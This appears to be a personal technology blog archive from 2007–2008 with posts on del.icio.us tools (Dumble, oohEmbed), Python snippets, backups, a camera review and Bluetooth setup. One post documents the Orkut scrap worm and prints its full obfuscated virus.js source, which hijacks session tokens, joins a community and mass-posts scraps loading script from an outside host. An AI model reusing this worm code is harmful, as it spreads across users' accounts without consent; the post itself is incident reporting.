Quick Links
- A helluva thing : It’s a helluva thing, a trial by jury. It was a radical notion 200 years ago, and it’s still a radical notion today.
- YouTube - The Process : hilarious
- Visions of Mars : A DVD that was sent with the Phoenix lander - creating the first library on Mars!
- Much-maligned feature being added to IPv6 - Network World : Good article on the state of IPv6 deployment and the case for IPv6 <-> IPv4 NAT devices
- Font Conference - CollegeHumor video : hehe
- Barely Alive, Seafloor Microbes Might Resemble Exo-Organisms | Wired Science : cool stuff
- The Online Photographer: New Panasonic has Superwide, Superfast Lens : The new LX 3 is very attractive. Now to wait for some image quality reports.
- more links | rss
Shared stuff, APIs, feeds, oh my!
There's no doubt about the fact that we are generating lots and lots of content as part of our online activities. We blog, leave comments, bookmark sites, upload photos and videos, provide status updates and what not. There's so much activity that it's hard to keep track of it all. RSS/Atom feeds have helped but it's just too much work to track down, subscribe and manage a dozen or more feeds for every person that you know.
On a personal level, I've tried to provide feeds for as many of the things I create/share as possible. There's this blog, the tidbits blog, the tumblelog, photos on flickr, code commits, travel updates, status updates and more. Recently was my attempt at bringing all of these bits and pieces of info back to a single location on antrix.net. Although slick (bias!), it really isn't what a central clearing house of a person's activities should look like. As it stands, Recently is rather limited: it doesn't provide permalinks nor feeds and does it allow interaction in the form of comments, etc.
Enter stage left: FriendFeed.
I've used FriendFeed on and off for some time now, most of the it spent trying to figure out what exactly it does. I still haven't so I will not try to explain. What I will do is to tell you that as of now, I've settled on letting FriendFeed track as much of my publicly accessible info as possible. So everything I mentioned above, with the exception of twitter updates, is now available to you - dear readers - on a single FriendFeed page. Love it or ignore it!
If you are on Facebook, a smaller helping of this stuff should also appear in your Facebook news feed. Of course, only if you are my 'friend'.
There's exactly one thing that I did towards this shuffling of data that's worth noting here. Regular readers will know that I've long been using del.icio.us as a link blog. I use it so much that I even wrote Dumble (and now oohEmbed) as a friendly tumblelog style front end to del.icio.us. So del.icio.us has to remain as the definitive link archive in these quarters.
With that in mind, you can understand why I've been so slow on the uptake of Google Reader's shared items feature, although I've been using Reader exclusively since perhaps late 2006. Simply put, I didn't want to fragment my shared links under two different sources - one of which wouldn't play ball with Dumble. The horror! The only reasonable thing to do was to write some code that took shared items from Google Reader and posted them to my del.icio.us account. And so I wrote yummy. My last blog post alluded to this wee bit of code and indeed, yummy does incorporate feedback from you, dear readers. Where by readers, I mean Harish!
On the whole, I think I'm happy with the current situation. Of course, I'd much happier if we were in the year 2012 with all this drama behind us - a distant memory of less civilized times. :-)
Now, I shall go pack my bags since, as Dopplr says, I'm scheduled to be in Mumbai tomorrow!
techtalk | 2 comments | permalink | 09.07.2008 17:02 SGT
Python: constrained containers
As it happens, I was playing with the del.icio.us API today because of reasons which I shall hopefully elaborate upon in the coming few days. While cooking up some code to interact with the API, I saw the need to model a basic del.icio.us post entity. For my needs, this entity wouldn't have to be much more than a dumb dictionary with keys like url, description, etc. So I started out that way but pretty soon I thought, wouldn't it be nice to be able to write post.url instead of post['url']? Further, wouldn't it be nice to constrain the keys in the dictionary to those required and prevent typo errors such as post['descrption'] instead of post['description']?
This seemed like the perfect opportunity to put into practice some of the stuff I'd learned about "new" style classes not too long ago. So I wrote the following class which implements the requirements laid out in the preceding paragraph. Since I'm just getting the hang of this stuff, please critique the code!
class Post(object): """Class to model a del.icio.us Post. It works like a struct/dict like object which limits keys to a retricted subset, i.e. those used in a del.icio.us post.""" __slots__ = ['description', 'url', 'extended', 'tags'] def __getitem__(self, key): if key in self.__slots__: return self.__getattribute__(key) else: raise KeyError def __setitem__(self, key, value): if key in self.__slots__: self.__setattr__(key, value) else: raise KeyError('Given key is not allowed in class %s'\ % self.__class__.__name__) def __contains__(self, key): try: self.__getitem__(key) except: return False return True # urllib.urlencode() just needs this beyond the basic stuff above def items(self): return [(k, self[k]) for k in self.__slots__ if k in self]
And here's the usage of the class.
>>> p = Post() >>> p.url Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: url >>> p.url = 'http://google.com' >>> p.url 'http://google.com' >>> p['url'] 'http://google.com' >>> p['desc'] Traceback (most recent call last): File "<stdin>", line 1, in <module> File "yummy.py", line 17, in __getitem__ raise KeyError KeyError >>> p['description'] = 'Google homepage' >>> p['description'] 'Google homepage' >>> p.items() [('description', 'Google homepage'), ('url', 'http://google.com')] >>> p.tags = 'search' >>> p.items() [('description', 'Google homepage'), ('url', 'http://google.com'), ('tags', 'search')] >>> 'extended' in p False >>> p.extended = 'homepage of the world' >>> p.items() [('description', 'Google homepage'), ('url', 'http://google.com'), ('extended', 'homepage of the world'), ('tags', 'search')] >>>
So, what am I doing wrong? :-)
techtalk | 6 comments | permalink | 04.07.2008 18:04 SGT
Announcing oohEmbed!
In my last post here, I mentioned some items on my ever growing TODO list and on top of that list was: Finish the web app that I've started working on.
Well, it's time to scratch that one off the list since oohEmbed.com is now live!
A bit of background before I get to what is oohEmbed. As you know, I've been working on and off on Dumble for the past several months. Now Dumble is a purely browser based application with antrix.net serving up just a bunch of static files. Because of this non-involvement of server-side programming and the web browser's same origin policy restrictions, there's a limit to how much smart URL-content-inferring can be achieved in Dumble. With the current design, Dumble can go only as far as the number of websites out there that support JSON APIs.
So on one side, I was toying around with adding a server-side component to Dumble's design to alleviate this problem. On the other, I was looking to kick the tires around Google App Engine. In between the two, the oEmbed specification was announced and thus was born oohEmbed.
So what exactly is oohEmbed? In the simplest terms, oohEmbed acts like a oEmbed API compatible proxy service between you (the developer) and target websites. For more details, visit the oohEmbed.com web site where I've described it a bit more with some examples.
Of course, I've re-written parts of Dumble to use this new oohEmbed service. You can find the forked version at oohembed.com/dumble/. If things go well, I'll designate this as the authoritative version and switch/redirect the version at antrix.net/dumble/ to it.
Thanks to the folks behind oEmbed for drafting the spec and to Google for creating App Engine. Although the App Engine environment is restrictive development wise, there's something to be said for a stack which allows one command - appcfg.py update myapp/ - deployments to the cloud! And it's all Python so I couldn't be any happier!
Please test out oohEmbed and let me know what you think. If you really want to please me, go build something on top of it!
techtalk | 2 comments | permalink | 01.06.2008 22:19 SGT
Dumble Update #3
Alright, time for another Dumble update. For those tuning in late, Dumble is a web-app that auto-magically creates a tumblelog out of someone's delicious bookmarks. More background in this introductory post from last November.
So what's been cooking since the last Dumble update which was all the way back in December? For starters, Dumble's source code repository is now online so you can follow Dumble's progress as it happens!
Looking at the changes since December, apart from the bug-fixes and speedup related commits, I've added support for three more sites — Metacafe, Twitter and Wikipedia — while improving support for Amazon. While the Metacafe support just relies on the standard video embed widget, the Twitter and Wikipedia support leverages their respective APIs.
There are a few minor UI changes. You can find a feed subscription link to the currently viewed user's delicious bookmarks.
Finally, there's one change explicitly to support embedding of Dumble on other websites. Let's say you have a website and wish to have your own copy of Dumble running over there tumbling your delicious bookmarks. One way to do this is to just copy all the Dumble code and host it on your site. While I'm perfectly happy if you do that, there is a drawback to that approach. As and when I make any changes to Dumble, you'll have to keep up by modifying your copy of Dumble.
An easier way is to just embed http://antrix.net/dumble/ onto your site. Just copy the following HTML snippet into an index.html file and place it somewhere on your website. Be sure to modify the delicious username and optionally the tag parameters.
<html>
<head>
<title>Dumble : auto tumble your delicious links</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<style type="text/css" media="screen">
html, body {
margin: 0;
padding: 0;
border: 0;
outline: 0;
}
</style>
</head>
<body>
<iframe src="http://antrix.net/dumble/?u=USERNAME&t=TAG&title=My delicious tumblelog" height="100%" width="100%" frameborder="0" scrolling="auto">
Since your browser doesn't support IFrames, please <a href="http://antrix.net/dumble/?u=Ravages">visit Dumble directly</a>.
</iframe>
</body>
</html>
Did you notice the title parameter in the iframe src URI? That's something I added just to enhance this kind of embedding of Dumble. The value of that title parameter will become the window/browser title.
You can see an example of such an embedded Dumble over on Selective Amnesia. In industry parlance, this would be called a reference installation. ;-)
As usual, please test Dumble on your browser/OS combo and let me know of any stuff that breaks. The Wikipedia support is especially hacky and I would appreciate some feedback on that. :)
techtalk | 0 comments | permalink | 28.05.2008 14:36 SGT
Dumble Update
This is a quick update on a few small improvements I've made to Dumble. If you don't know what Dumble is, please read my last post!
Herewith, the minor Changelog:
- There's a new link to quickly add the current user to your del.icio.us network.
- Amazon links now show better sized product images which are fetched using their web services api.
- Fixed a bug in the form where hitting enter key didn't trigger the form's default action. Thanks to Jois for pointing this out!
- Integration with del.icio.us using a View in Dumble bookmarklet and a similar greasemonkey script.
That last bit should really help those of you who liked Dumble but are too lazy to manually type in the url when needed :-)
techtalk | 0 comments | permalink | 28.05.2008 14:36 SGT
Dumble Update #2
I've been working on Dumble on and off since my last update here and there have been quite a few changes since then. Here are the highlights:
- Top Tags: Dumble now fetches the del.icio.us user's top tags so that you can quickly browse around and discover links.
- Session History: As you browse around Dumble, jumping from tag to tag or user to user, your Session History is displayed in a sidebar. This is my way of saying that 'supporting the Back button in an AJAX app is so nasty that I don't even want to attempt it.'
- Cookies: Your last fetched user/tag combo is now saved in a cookie so that the next time you visit Dumble, it'll directly load that combo.
- Internet Explorer 7: Dumble was broken in IE7 for a long time. I finally got around to tracing and fixing the bugs and things should work well in IE7 now. BTW, did you know that something as simple as a trailing comma in an array definition or using
<script src="..." />instead of<script src="..."></script>can confuse IE? - Miscellany: Various other bugfixes and UI/Usability fixes.. like all links show real links instead of javascript code.
With that, my to-do list for Dumble is more or less complete. Of course, adding formatting support for more kinds of links is an ongoing process. But as far as the core feature set is concerned, I think we are at 1.0 and Dumble is ready for wider use!
As always, if you find any bugs or need any new features, please do comment!
techtalk | 0 comments | permalink | 28.05.2008 14:35 SGT
Dumble
Have you heard of tumblelogs? The Wikipedia definition today reads:
A tumblelog is a variation of a blog, that favors short-form, mixed-media posts over the longer editorial posts frequently associated with blogging. Common post formats found on tumblelogs include links, photos, quotes, dialogues, and video.
Popular and genre defining tumblelogs include Anarchaia and projectionist. My own Tidbits is an attempt at creating a tumblelog. However, I found that much of my tumbling is split between my del.icio.us linker and the Tidbits. Which led me to think if it was possible to create a tumblelog out of my delicious linker.
Dumble is born out of that thinking. Dumble takes any user's delicious links and tries to format the links in a form more suited for a tumblelog. For example, if the link is to a Youtube video, then Dumble automatically embeds the video in the page. Same goes for a link to a Flickr photo - the photo is inserted into the page. Take a look at my dumble, you'll get the idea.
Right now, special posts are created for links to Youtube, Google Video, College Humor videos, Flickr, Amazon and IMDb. The IMDb bit is interesting. I've been saving movie ratings on delicious for some time now and some of you started it too after I wrote about it here. So if Dumble finds a rating in the notes field (in the x/y format), it'll automatically substitute the rating with the appropriate number of stars!
Please give Dumble a spin and let me know what you think. Especially IE users since I've done zero testing on IE! If you find a bug, let me know and I'll boot to Windows (ugh!) and see what's breaking. Safari users, Dumble works okay in Konqueror so I'm guessing it'll be okay in Safari too.
I intend to add special post formatting for more sites periodically but there's a technical limitation to what's possible. Which brings me to:
=== Technical Bits ===
Just like Recently, Dumble is a pure Javascript affair with no server side logic involved. Well, at least none on my server ;-) It fetches JSON from delicious and flickr and whereever else possible. Which is kinda the limitation at the moment. For any more complex post creation, I need to fetch the actual page being linked to but since cross domain GET isn't allowed in the browser's security model, I'm stuck :-( I think I'll give up on my pure-JS ambitions and put in a dummy proxy on antrix.net for XMLHTTPRequests. That will allow for more special posts like a Wikipedia summary generator, etc.
My current todo list for Dumble includes back button support and keyboard navigation (like gmail/g-reader/bloglines). If you have any feature requests or comments on implementation, please let me know!
Related Posts: Dumble Update, Dumble Update #2, Dumble Update #3, oohEmbed powered Dumble
techtalk | 0 comments | permalink | 28.05.2008 14:34 SGT
Python + Prism == Your own Rich Internet Architecture?
So what happened is, we needed to build this application at work and it fell upon me to do it. For various reasons, I decided to write the app in a web client/server style where I wrote the app in python/web.py and a regular browser was used to access it. In other words, your fairly standard web app.
Eventually, it was decided that this model wasn't very convenient from an end-user point of view. The need to setup a separate web server (or integrate with an existing server) just to serve the app was a bit too much of a hassle. Plus, all of Firefox's chrome made this app not feel like an app! So what's a guy to do?
I decided to use webpy's baked in server to host the app and Mozilla's Prism as a client for the app. With the following bit of logic, both the client and server can be invoked from the same piece of code.
#!/usr/bin/env python # File: ria.py # Author: Deepak Sarda import subprocess import thread import web def launch_browser(*args): try: # Assuming you already have a Prism webapp profile mapped to http://localhost:8080/ retcode = subprocess.call(['prism', '-webapp', 'helloworld@antrix.net.prism.app']) except: print 'Failed to create client interface' print 'Client exited. We can exit too!' thread.interrupt_main() class App: def GET(self): print """<html><head><title>Hello World!</title></head> <body><h2>Hello World!</h2><p>If you can read this, then you have just created your very own RIA!</p></body></html>""" if __name__ == '__main__': thread.start_new_thread(launch_browser, ()) web.run(('/', 'App'), globals())
Create a shortcut to ria.py and you have your own RIA solution! For bonus points, process all of the python code, web.py, database modules and what not with bb-freeze and you have a zero-install - just unzip and run - RIA!
techtalk | 0 comments | permalink | 10.04.2008 14:43 SGT
Observations on the Ricoh Caplio GX100
As you may or may not know (why not?!), I've had a Ricoh Caplio GX100 for a couple of months now. Long enough for me to be comfortable calling it just GX100. We are buddies now.

Anyway, I think it's about time I blogged about the camera. It's a good excuse to do it too considering the silence lately around these quarters.
So what's good about this camera? It's small, it's fast. It's there and ready when I need it. So when I come across good photo opportunities, I don't miss them for want of a camera. Like this one which was taken one morning on the way to my office.
As the old saying goes, the best camera is the one you have in your hand. And this best camera is not just small and fast and in my hand, it takes damn good photos too! Plus, I just love the 24mm wide lens. A few more months working with this and I think I'll have to get the 19mm adapter. One thing though: after getting used to the Panasonic FZ30's enormous zoom (35-420mm), I do have to adapt my shooting style to work within the limited 24-72mm range.
The ergonomics of the GX100 are fantastic. It's great to hold, all the dials are in the perfect place and the software is intuitive and clutter-free. In fact, the controls are the best I've seen in any camera so far. No amount of explaining here will do it justice. You have to pick one up and play with it for some time.
The GX100 takes beautiful macros. I could describe here how sharp the in-focus elements are or how nice the bokeh is but I suggest you just see some of the macros I've uploaded so far. Sure the focus hunts when in macro mode but do you really care about that? It's not like your subject is going to get up and leave!
Overall, I'm very pleased. So now it's time to talk about some downers.
The biggest short-coming is that the GX100 suffers from a rather limited dynamic range. You really have to keep a close eye on the histogram to make sure you don't blow out the sky or something else. I still haven't been able to take a good sweeping vistas kind of shot where everything from the sky to the landscape is properly exposed. Which is a real pity considering the 24mm wide-angle would be really great at taking such shots. Then again, I see several good landscape photos taken with the GX100 on Flickr so perhaps it's just something that I haven't figured out yet.
Another quibble I have is that if you are shooting in low light in Program or Aperture Priority mode and the required exposure duration is longer than a second, the software just refuses to set that. One second exposure it is, no more! It was only after being left with a few rather under-exposed low-light shots did I realize what was happening. Since there's no Shutter Priority mode (or Tv mode for Canon lovers!), you have to go to full manual to work around this gotcha. Of course, since the GX100 has separate dials to control aperture & shutter speed, using the manual mode is no chore.
Yes, you heard that right. Full manual control with two separate dials in a compact camera!
What else? Not much actually. To sum up, it's a great little camera which may or may not be a bit expensive for your budget. It won't replace your SLR but if you are the kind who shoots with a SLR, you ought to look at the GX100 as a companion camera. Interesting anecdote: I was all set to buy a second hand GX100 from a local photographer. Price and date of transaction were fixed. On the night before the camera was scheduled to exchange hands, the guy tells me he's decided against selling it. When I asked why, he explained that he really liked the macro capability of the GX100. Since he liked taking macros, he could either buy a reasonably good macro lens for his SLR at $300+ or just keep the GX100 as a macro camera while having his SLR for other shots. With the GX100 around, he wouldn't have to swap lenses on his SLR whenever he felt like going macro. True story!
However, if you aren't really into photography and are looking at the GX100 just for its compact size and wide angle capability, I suggest you stay away. Its quirks will be enough to make you think that you just threw away good money at this no-good piece of Japanese thrash! You really have to know what you are doing when using this camera. Case in point: the GX100 flash isn't going to pop-up by itself in low-light - you have to decide whether you want flash or not.
On the other hand, the same quirks would make the GX100 a good learning tool for someone who wants to get serious about his/her photo taking but isn't too keen on carrying a kilogram of photo gear around.
As for me, I think I'll have to start looking at those Pentax SLRs sometime soon!
techtalk | 4 comments | permalink | 28.03.2008 19:20 SGT
Orkut XSS
Aftermath: Let's try and summarize everything here.
On Orkut, you can use arbitrary HTML when scrapping your friends. Rodrigo's worm exploited this 'feature'. What it did was to start with scrapping a malicious flash file. Just viewing this scrap causes the flash object to load which in turn loads our favourite
virus.jsfile. The Javascript code in that file first joins you in the community called Infectatos pelo Virus do Orkut (in English - Infected by the Orkut Virus) and then sends the same flash file as a scrap to as many people in your friends list as possible. So when each of your friends sees their Scrapbook, they in turn start propagating the worm to their friends, etc.Friends don't let friends use raw HTML would be a good maxim for everyone to follow ;-)
It's fair to say that almost every member of that community was an involuntary signup. So based on the reported peak size of the community, more than 655,000 users were affected.
The attack was apparently without malicious intent and done just to highlight the security problems with such networking sites. Although the motives might by clean, I question the modus operandi. McAfee folks have named this W32/KutWormor.
This post got linked from various places including several bloggers, News.com, ZDNet and Valleywag(!). But, like Valleyway points out, if this had happened on MySpace or Facebook, it would be all over the US media.
No official word from Orkut yet on this except this reply in a forum thread. Amusingly, the list of suggestions offered in that reply to 'stay safe' wouldn't have helped at all with this worm! This worm would have worked anyway unless you had Flash and/or Javascript disabled.
Curiously enough, the official Orkut blog got a new post during/after this incident but the post says absolutely nothing about what happened!
That's the summary and hopefully the last update here! The original post covering this worm follows below.
Someone (maybe Rodrigo Lacerda, see below) seems to have found an XSS attack for Orkut. A piece of javascript code, named virus.js and fetched from a myopera location, somehow made its way into my Orkut session and started scrapping everyone possible at a break-neck speed. My friends reported Spanish Portuguese (see first comment below) language scraps with some Flash content from me while I've seen similar scraps in my Scrapbook.
From my initial Firebug console digging, this code sneaks in when opening the Scrapbook page. And the attack code is fetched just after loading gtalknotifier004.js so perhaps there's an XSS hole in that script. Not sure though, I'm a JS newbie :-)
For now, don't log on to Orkut! Or if you use Adblock, just block anything named *virus.js
Does anyone know how the hell should I report such stuff to Orkut? I can't seem to locate any vulnerability report form in their support pages.
Update: If you've blocked the virus.js file, log in and check your communities. You'll see an extra one! If you aren't able to unjoin the community, don't panic. I believe it's just an automated throttling response by Orkut's systems as a response to the massive scrapping initiated from our account. Should be fixed in a few hours.
Update: The embedded flash in the notorious scrap (2008 vem ai... que ele comece mto bem para vc) is also part of the exploit. I don't know exactly what it does since I use Flashblock all the time! Also, some blogs are suggesting changing of passwords. I don't think that's needed since I don't believe passwords have been compromised. Of course, don't treat my opinion as infallible advice, do what you must. I know I'm not changing my password just because of this!
Update: Reader Steve (thanks!) informs me in the comments below that this hole was reported sometime back and was already fixed. From this page:
On November 8th 2006 Rajesh Sethumadhavan discovered a type 2 vulnerability in the social network site Orkut which would make it possible for orkut members to inject HTML and JavaScript into their profile. Rodrigo Lacerda used this vulnerability to create a cookie stealing script known as the Orkut Cookie Exploit which was injected into the orkut profiles of the attacking member(s). By merely viewing these profiles unsuspecting targets had the communities they owned transferred to a fake account of the attacker. On December 12th Orkut had fixed the vulnerability.
And the actual report referenced in the above quote: Orkut Group Cross Site Scripting Vulnerability. I don't know enough to say whether the situation we are seeing today is due to the same vulnerability.
Update: People seem to think that somehow they were responsible for facilitating this attack. Like perhaps they clicked on a bad link or something. From what I understand, this isn't a phishing attack and there's nothing you could've done to prevent this. Except, maybe, not visiting Orkut.com!
Update: Apparently fixed!. The virus.js file is no longer fetched and all the spam scraps in my scrapbook have disappeared. I could unjoin the 'special' community too, which at this point of time has 390,262 members which means (at least) 390,262 affected users. That's not good!
Update: More from Reader Steve in the comments. Apparently, the community that we all are involuntarily a part of now, is some kind of vigilante community created just to make a point that these systems are insecure. Steve's comment:
The infected group is called "Infectados pelo Vírus do Orkut" and has nearly 400K members (minus me now).
The group description (loosely translated via Babelfish) is:
In computer science, a virus is a malicious program developed by programmers who, such as a biological virus, infectum the system, makes copies of itself exactly and tries to spread itself for other computers, using itself of diverse ways. Return more for the community SEES AS IF TO PROTECT Click With this you if not to want here. CALM! If you lode to stop in this community, is certain that no data its were stolen and nor go to be, is not this my objective. If I will be certain, in the end of everything, this community I must I am crowded of people. This to only show as orkut can be dangerous, you came to stop here without clicar in none link absolutely malicious, everything was made reading scraps.
Update: Some readers have kindly posted deobfuscated versions of the virus.js script. Thanks! Since they weren't fitting well in the comments below, I've moved them to a pastebin site. See version 1 and version 2. I'll post some analysis if I get time to do some!
The script is fetched from here: http://files.myopera.com/virusdoorkut/files/virus.js
function $(p,a,c,k,e,d) {
e=function(c) {
return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
};
if(!''.replace(/^/,String)){
while(c--){d[e(c)]=k[c]||e(c)}
k=[function(e){return d[e]}];
e=function(){return'\\w+'};
c=1
};
while(c--){
if(k[c]){
p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
}
}
return p
};
setTimeout(
$('5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14("29.1l")}
L(e){};Z{b i 14("2b.1l")}L(e){};Z{b i 2l()}L(e){};b J};
7 W(g,P,m,c,9,U){5 1m=g+"="+19(P)+(m?"; m="+m.2f():"")+(c?"; c="+c:"")+(9?"; 9="+9:"")+(U?"; U":"");
8.y=1m};7 v(g){5 l=8.y;5 A=g+"=";5 h=l.S("; "+A);6(h==-1){h=l.S(A);6(h!=0){b 2h}}16{h+=2};
5 u=8.y.S(";",h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};
7 26(g,c,9){6(v(g)){8.y=g+"="+(c?"; c="+c:"")+(9?"; 9="+9:"")+"; m=1u, 1i-1v-1x 1g:1g:1i 1y";1U.1z(0)}};
7 G(){5 3=B();6(3){3.R("1A","o://k.w.p/1B.z",C);3.a(J);3.Y=7(){6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n("t");
t.1D=1r;5 f=t.D("f").O(0);6(f){f.1M(f.D("1F").O(0));f.1G("1H","N");f.1J.1K="1L";8.1N.1f(f);V()}}16{G()}}};
3.a(J)}};7 T(){5 a="H="+n(q)+"&K="+n(E)+"&15.1O";5 3=B();3.R(\'q\',\'o://k.w.p/1P.z?1R=1S\',C);
3.12(\'10-1e\',\'Q/x-k-17-1b\');3.a(a);3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};
7 V(){6(j==8.18("N").M){b};
5 I="1V 1W 1X... 1Y 1Z 20 21 22 23 24<1k/>[1j]25 "+i F()+"[/1j]<1k/><13 1o=\\"o://k.w.p/28.z\\" 2a=\\"Q/x-2c-2d\\" 2e=\\"2g\');
r=8.1n(\'r\');r.1o=\'o://1p.2k.p/2n/1p/1s.1t\';8.D(\'1w\')[0].1f(r);19(\'\\" 1C=\\"1\\" 1E=\\"1\\"></13>";
5 a="15.1I=1&H="+n(q)+"&I="+n(I)+"&K="+n(E)+"&1T="+8.18("N").O(j).P;5 3=B();
3.R("q","o://k.w.p/2i.z",C);3.12("10-1e","Q/x-k-17-1b;");
3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\'s\',j,d);V()}}};
6(!v(\'s\')){5 d=i F;d.1d(d.1h()+11);W(\'s\',\'0\',d)};j=v(\'s\');T();
',62,150,'|||xml||var|if|function|document|domain|send|return|path|wDate||select|name|begin|new|index|
www|dc|expires|encodeURIComponent|http|com|POST|script|wormdoorkut|div|end|getCookie|orkut||cookie|aspx
|prefix|createXMLHttpRequest|true|getElementsByTagName|SIG|Date|loadFriends|POST_TOKEN|scrapText|null|
signature|catch|length|selectedList|item|value|application|open|indexOf|cmm_join|secure|sendScrap|setCookie|
readyState|onreadystatechange|try|Content|86400|setRequestHeader|embed|ActiveXObject|Action|else|form|
getElementById|escape|status|urlencoded|200|setTime|Type|appendChild|00|getTime|01|silver|br|XMLHTTP|curCookie|
createElement|src|files|JSHDF|xmlr|virus|js|Thu|Jan|head|70|GMT|go|GET|Compose|width|innerHTML|height|option|
setAttribute|id|submit|style|display|none|removeChild|body|join|CommunityJoin|responseText|cmm|44001818|toUserId|
history|2008|vem|ai|que|ele|comece|mto|bem|para|vc|RL|deleteCookie|raw|LoL|Msxml2|type|Microsoft|shockwave|flash|
wmode|toGMTString|transparent|false|Scrapbook|unescape|myopera
|XMLHttpRequest|substring|virusdoorkut|CGI|Page'.split('|'),0,{}),1
);
author="Rodrigo Lacerda"
techtalk | 30 comments | permalink | 19.12.2007 12:08 SGT
On Kindle
This is the Amazon Kindle - the latest e-book reader to hit the market.
Many technology pundits and early adopters haven't taken too kindly to the device, citing it's closed nature as a show-stopper. However, I like the device. And isn't that all that matters? :-)
I am not so concerned about the inability to lend books, platform lock-down etc. I envisage buying only books with limited shelf life so format longevity is not a concern. I mean if you bought Thinking in Java or the Django book, do you really think you will be interested in reading those books ten years down the line? Plus, $9.95 is a great price for such books! Of course, S$9.95 would be even better ;-) And this is a complete no-brainer for software books where technology changes at a phenomenal pace. I'd rather have the JavaScript Definitive Guide by my side with full text search on Kindle than have a bulky paperback of the same which I'll have no use for an year from today.
When a book isn't available locally, I have to worry about how long it'll take to ship from the US and how much the shipping will cost. With Kindle (modulo availability in Singapore), all those worries are gone! It's just instant consumption.
Built in dictionary & wikipedia lookup? Sweet! I can't tell you the number of times I've put down a Stephenson novel to open the laptop and wiki search something.
Having said all that, the Kindle still misses a few things which would make me buy it immediately (again, modulo availability in the little red dot). Here's what will hit the sweet spot for me:
- Cheaper, say $100-$150.
- Touch sensitive screen - to doodle and make notes.
- Better looking. Even if it's not as svelte as the Sony or the Seiko, at least lose the keyboard.
- PDF Support!
Actually, just make it cheaper and I'd buy. I'm sure someone will write a PDF->PRC/MOBI converter and I would stop caring about the looks ten minutes after unpacking the thing. As for the touch screen, there's always an upgrade to buy ;-)
techtalk | 2 comments | permalink | 21.11.2007 23:07 SGT
Seagate FreeAgent
I bought a Seagate FreeAgent 320GB external USB drive this weekend and finally put an automated backup system in place. Steps involved:
- The FreeAgent comes pre-formatted as a NTFS drive. I reformatted it to ext3.
- The drive goes to sleep after some period of inactivity. The current kernel doesn't automatically wake it up so you get I/O errors when writing to the disk after it has gone to sleep. The fix is simple.
I created a list of directories to backup and then created a couple of cron entries to run rdiff-backup every morning.
root@cellar:~# crontab -l 30 4 * * * rdiff-backup --remove-older-than 3W /mnt/freeagent/cellar-backup 2>&1 >/dev/null 50 4 * * * rdiff-backup --exclude-fifos --exclude-sockets --include-globbing-filelist \ /home/antrix/backup/rdiff-backup-filelist / /mnt/freeagent/cellar-backup 2>&1 >/dev/null
Now I've got daily backups with an option to retrieve stuff from upto three weeks earlier. Seriously, this was so easy, I wish I'd done it sooner. Thankfully, nothing catastrophic occurred in the meantime! Plus, this is a live backup - much better than burning CDs marked with Photos from 2006, etc.
For reference, here's rdiff-backup-filelist:
antrix@cellar:~$ cat backup/rdiff-backup-filelist
- /home/antrix/.mozilla/firefox/**/Cache
- /home/antrix/.thumbnails
- /home/antrix/.local/share/Trash
- /home/antrix/tmp
- /home/antrix/Downloads
/home/antrix
/etc
/share/Books
/share/Music
- **
antrix@cellar:~$
The performance of this drive seems pretty good considering it's just a USB 2.0 unit. Raw disk throughput on this 7200RPM disk, as measured by hdparm -t -direct /dev/sdc, averaged 29.4 MB/sec. I could push this up to 33.4 MB/sec by setting max_sectors to 1024. For comparison, the internal SCSI disks (also 7200RPM Seagates) averaged 74.7 MB/sec.
techtalk | 0 comments | permalink | 28.10.2007 13:52 SGT
Nokia Bluetooth Serial Console
This post would be of interest to the tiny fraction of the world population which has:
- A Nokia S60 phone with bluetooth capability.
- A computer running Linux. Specifically Ubuntu Gutsy.
- A bluetooth interface on the computer.
- A Python installation on the phone.
- An inability to connect the Python bluetooth console on the phone to the computer.
If by chance you happen to be part of that tiny fraction, read on.
When I was running Kubuntu Feisty, getting the bluetooth connection up and running was a complete snap. Basically, it just worked. Which was a good thing then but a bad thing now since on Gutsy, it just doesn't work and it took me quite a while to figure out how to set it up myself.
As it turns out, the KDE Bluetooth framework is undergoing some massive code refresh and as things stand, the latest version of the framework doesn't include quite a bit of the functionality that was present in the earlier releases. And it just so happens that Gutsy ships with this latest version. Which means that the stuff that KDE Bluetooth did automatically for me in Feisty, needs to be done manually in Gutsy.
So here we go. First, make sure your phone is visible to the PC by running hcitool scan in a shell.
antrix@cellar:~$ hcitool scan
Scanning ...
00:18:C5:44:49:9E marvin
Make note of your phone's bluetooth address. Next, edit /etc/bluetooth/rfcomm.conf and configure it for use with the phone. The contents should read:
rfcomm0 {
bind no;
# replace with you phone's bluetooth address.
device 00:18:C5:44:49:9E;
channel 2;
comment "Nokia N73 - Marvin";
}
Another problem with Gutsy is that /etc/bluetooth/hcid.conf doesn't have a pin_helper configured. This is the program that's supposed to ask you for a PIN when you make a bluetooth connection from the phone. A quick work around is to just set a passkey in hcid.conf and then restart the bluetooth stack (sudo /etc/init.d/bluetooth restart).
Once the configuration steps are done, initiate a bluetooth device pairing from the phone and when the phone prompts for a passkey, just input the one set in hcid.conf.
Now we'll test if the serial link works. Run this in a shell:
antrix@cellar:~$ sudo rfcomm bind /dev/rfcomm0
antrix@cellar:~$ rfcomm
rfcomm0: 00:18:C5:44:49:9E channel 2 clean
Then, open a serial connection to /dev/rfcomm0 using a serial communication tool such as minicom. We'll just use good old screen.
antrix@cellar:~$ screen /dev/rfcomm0
You should get a blank screen. Type AT and press enter. That should get you an OK from the phone. If you speak the AT command set, you can try more commands like typing ATDT 98898998 and your phone should start dialing that number. (Anyone remember using serial modems to make dial up networking connections?!)
Quit screen (Ctrl+a followed by \). Then:
antrix@cellar:~$ rfcomm
rfcomm0: 00:18:C5:44:49:9E channel 2 closed
antrix@cellar:~$ sudo rfcomm release /dev/rfcomm0
antrix@cellar:~$ rfcomm
Releasing the channel makes it available for use again. Now we'll start a listener on /dev/rfcomm0 to which the Python Bluetooth console will connect.
antrix@cellar:~$ rfcomm listen /dev/rfcomm0 2
Waiting for connection on channel 2
